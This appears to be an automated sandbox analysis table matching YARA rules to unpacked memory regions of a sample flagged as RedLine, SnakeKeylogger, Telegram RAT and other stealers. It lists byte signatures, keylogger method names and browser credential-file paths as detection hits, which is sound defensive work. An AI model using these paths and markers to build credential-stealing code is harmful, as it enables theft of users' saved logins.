19.2.jphwmyiA.pif.400000.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
15.2.jphwmyiA.pif.1ed60000.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
15.2.jphwmyiA.pif.1ed60000.6.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
10.2.jphwmyiA.pif.23600ee8.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
12.2.Aiymwhpj.PIF.212333d8.6.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
19.2.jphwmyiA.pif.22770000.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3b512:$s1: UnHook 0x3b4ae:$s2: SetHook 0x3b4e7:$s3: CallNextHook 0x3b476:$s4: _hook
15.2.jphwmyiA.pif.1ed60000.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3ca82:$a1: get_encryptedPassword 0x3ca56:$a2: get_encryptedUsername 0x3cb1a:$a3: get_timePasswordChanged 0x3ca32:$a4: get_passwordField 0x3ca98:$a5: set_encryptedPassword 0x3c865:$a7: get_logins 0x37eb2:$a10: KeyLoggerEventArgs 0x37e81:$a11: KeyLoggerEventArgsEventHandler 0x3c939:$a13: _encryptedPassword
15.2.jphwmyiA.pif.1ed60000.6.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x47b86:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x47229:$a3: \Google\Chrome\User Data\Default\Login Data 0x47486:$a4: \Orbitum\User Data\Default\Login Data 0x47e65:$a5: \Kometa\User Data\Default\Login Data
15.2.jphwmyiA.pif.1ed60000.6.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3a62a:$s1: UnHook 0x3a5c6:$s2: SetHook 0x3a5ff:$s3: CallNextHook 0x3a58e:$s4: _hook
10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
15.2.jphwmyiA.pif.1be499de.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x4a86e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49f11:$a3: \Google\Chrome\User Data\Default\Login Data 0x4a16e:$a4: \Orbitum\User Data\Default\Login Data 0x4ab4d:$a5: \Kometa\User Data\Default\Login Data
7.2.brightness.exe.20f65a8.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
10.2.jphwmyiA.pif.23660000.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3ca82:$a1: get_encryptedPassword 0x3ca56:$a2: get_encryptedUsername 0x3cb1a:$a3: get_timePasswordChanged 0x3ca32:$a4: get_passwordField 0x3ca98:$a5: set_encryptedPassword 0x3c865:$a7: get_logins 0x37eb2:$a10: KeyLoggerEventArgs 0x37e81:$a11: KeyLoggerEventArgsEventHandler 0x3c939:$a13: _encryptedPassword
10.2.jphwmyiA.pif.23660000.6.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x47b86:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x47229:$a3: \Google\Chrome\User Data\Default\Login Data 0x47486:$a4: \Orbitum\User Data\Default\Login Data 0x47e65:$a5: \Kometa\User Data\Default\Login Data
10.2.jphwmyiA.pif.23660000.6.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3a62a:$s1: UnHook 0x3a5c6:$s2: SetHook 0x3a5ff:$s3: CallNextHook 0x3a58e:$s4: _hook
15.2.jphwmyiA.pif.1ed60000.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
10.2.jphwmyiA.pif.23600ee8.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
15.2.jphwmyiA.pif.1be499de.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3d312:$s1: UnHook 0x3d2ae:$s2: SetHook 0x3d2e7:$s3: CallNextHook 0x3d276:$s4: _hook
19.2.jphwmyiA.pif.22770000.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x4a86e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49f11:$a3: \Google\Chrome\User Data\Default\Login Data 0x4a16e:$a4: \Orbitum\User Data\Default\Login Data 0x4ab4d:$a5: \Kometa\User Data\Default\Login Data
10.1.jphwmyiA.pif.400000.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
19.2.jphwmyiA.pif.2254a8c6.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3a62a:$s1: UnHook 0x3a5c6:$s2: SetHook 0x3a5ff:$s3: CallNextHook 0x3a58e:$s4: _hook
15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
19.2.jphwmyiA.pif.22770000.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3d312:$s1: UnHook 0x3d2ae:$s2: SetHook 0x3d2e7:$s3: CallNextHook 0x3d276:$s4: _hook
15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
10.1.jphwmyiA.pif.400000.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
15.2.jphwmyiA.pif.1be4a8c6.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.jphwmyiA.pif.1be4a8c6.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
15.2.jphwmyiA.pif.1be4a8c6.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.jphwmyiA.pif.1be4a8c6.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.jphwmyiA.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
15.2.jphwmyiA.pif.1be4a8c6.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3ca82:$a1: get_encryptedPassword 0x3ca56:$a2: get_encryptedUsername 0x3cb1a:$a3: get_timePasswordChanged 0x3ca32:$a4: get_passwordField 0x3ca98:$a5: set_encryptedPassword 0x3c865:$a7: get_logins 0x37eb2:$a10: KeyLoggerEventArgs 0x37e81:$a11: KeyLoggerEventArgsEventHandler 0x3c939:$a13: _encryptedPassword
15.2.jphwmyiA.pif.1be4a8c6.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x47b86:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x47229:$a3: \Google\Chrome\User Data\Default\Login Data 0x47486:$a4: \Orbitum\User Data\Default\Login Data 0x47e65:$a5: \Kometa\User Data\Default\Login Data
15.2.jphwmyiA.pif.1be4a8c6.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3a62a:$s1: UnHook 0x3a5c6:$s2: SetHook 0x3a5ff:$s3: CallNextHook 0x3a58e:$s4: _hook
15.1.jphwmyiA.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
12.2.Aiymwhpj.PIF.211f67a8.7.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x59ce0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x3ccb0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x3d330:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x5b9ba:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x5b600:$s5: delete[] 0x1de88:$s6: constructor or from DllMain. 0x5aab8:$s6: constructor or from DllMain.
15.2.jphwmyiA.pif.1be499de.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.jphwmyiA.pif.1be499de.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
15.2.jphwmyiA.pif.1be499de.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.jphwmyiA.pif.1be499de.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.jphwmyiA.pif.1be499de.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3d96a:$a1: get_encryptedPassword 0x3d93e:$a2: get_encryptedUsername 0x3da02:$a3: get_timePasswordChanged 0x3d91a:$a4: get_passwordField 0x3d980:$a5: set_encryptedPassword 0x3d74d:$a7: get_logins 0x38d9a:$a10: KeyLoggerEventArgs 0x38d69:$a11: KeyLoggerEventArgsEventHandler 0x3d821:$a13: _encryptedPassword
15.2.jphwmyiA.pif.1be499de.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x48a6e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x48111:$a3: \Google\Chrome\User Data\Default\Login Data 0x4836e:$a4: \Orbitum\User Data\Default\Login Data 0x48d4d:$a5: \Kometa\User Data\Default\Login Data
15.2.jphwmyiA.pif.1be499de.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3b512:$s1: UnHook 0x3b4ae:$s2: SetHook 0x3b4e7:$s3: CallNextHook 0x3b476:$s4: _hook
15.2.jphwmyiA.pif.1e710000.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.jphwmyiA.pif.1e710000.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.jphwmyiA.pif.1e710000.5.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
15.2.jphwmyiA.pif.1e710000.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.jphwmyiA.pif.1e710000.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.jphwmyiA.pif.1e710000.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3f76a:$a1: get_encryptedPassword 0x3f73e:$a2: get_encryptedUsername 0x3f802:$a3: get_timePasswordChanged 0x3f71a:$a4: get_passwordField 0x3f780:$a5: set_encryptedPassword 0x3f54d:$a7: get_logins 0x3ab9a:$a10: KeyLoggerEventArgs 0x3ab69:$a11: KeyLoggerEventArgsEventHandler 0x3f621:$a13: _encryptedPassword
15.2.jphwmyiA.pif.1e710000.5.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x4a86e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49f11:$a3: \Google\Chrome\User Data\Default\Login Data 0x4a16e:$a4: \Orbitum\User Data\Default\Login Data 0x4ab4d:$a5: \Kometa\User Data\Default\Login Data
15.2.jphwmyiA.pif.1e710000.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3d312:$s1: UnHook 0x3d2ae:$s2: SetHook 0x3d2e7:$s3: CallNextHook 0x3d276:$s4: _hook
10.2.jphwmyiA.pif.20d8a8c6.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.jphwmyiA.pif.20d8a8c6.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
19.3.jphwmyiA.pif.207aee58.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.3.jphwmyiA.pif.207aee58.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
19.3.jphwmyiA.pif.207aee58.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
19.3.jphwmyiA.pif.207aee58.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.jphwmyiA.pif.22770ee8.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.jphwmyiA.pif.22770ee8.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.2.jphwmyiA.pif.22770ee8.5.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
19.2.jphwmyiA.pif.22770ee8.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
19.2.jphwmyiA.pif.22770ee8.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.jphwmyiA.pif.20d8a8c6.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.jphwmyiA.pif.20d8a8c6.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.jphwmyiA.pif.20d8a8c6.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3ca82:$a1: get_encryptedPassword 0x3ca56:$a2: get_encryptedUsername 0x3cb1a:$a3: get_timePasswordChanged 0x3ca32:$a4: get_passwordField 0x3ca98:$a5: set_encryptedPassword 0x3c865:$a7: get_logins 0x37eb2:$a10: KeyLoggerEventArgs 0x37e81:$a11: KeyLoggerEventArgsEventHandler 0x3c939:$a13: _encryptedPassword
10.2.jphwmyiA.pif.20d8a8c6.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x47b86:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x47229:$a3: \Google\Chrome\User Data\Default\Login Data 0x47486:$a4: \Orbitum\User Data\Default\Login Data 0x47e65:$a5: \Kometa\User Data\Default\Login Data
10.2.jphwmyiA.pif.20d8a8c6.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3a62a:$s1: UnHook 0x3a5c6:$s2: SetHook 0x3a5ff:$s3: CallNextHook 0x3a58e:$s4: _hook
19.3.jphwmyiA.pif.207aee58.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.3.jphwmyiA.pif.207aee58.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.3.jphwmyiA.pif.207aee58.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
19.3.jphwmyiA.pif.207aee58.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
19.3.jphwmyiA.pif.207aee58.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.3.jphwmyiA.pif.207aee58.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3ca82:$a1: get_encryptedPassword 0x3ca56:$a2: get_encryptedUsername 0x3cb1a:$a3: get_timePasswordChanged 0x3ca32:$a4: get_passwordField 0x3ca98:$a5: set_encryptedPassword 0x3c865:$a7: get_logins 0x37eb2:$a10: KeyLoggerEventArgs 0x37e81:$a11: KeyLoggerEventArgsEventHandler 0x3c939:$a13: _encryptedPassword
19.2.jphwmyiA.pif.22770ee8.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
15.2.jphwmyiA.pif.1e710000.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.jphwmyiA.pif.1e710000.5.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
15.2.jphwmyiA.pif.1e710000.5.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.jphwmyiA.pif.1e710000.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
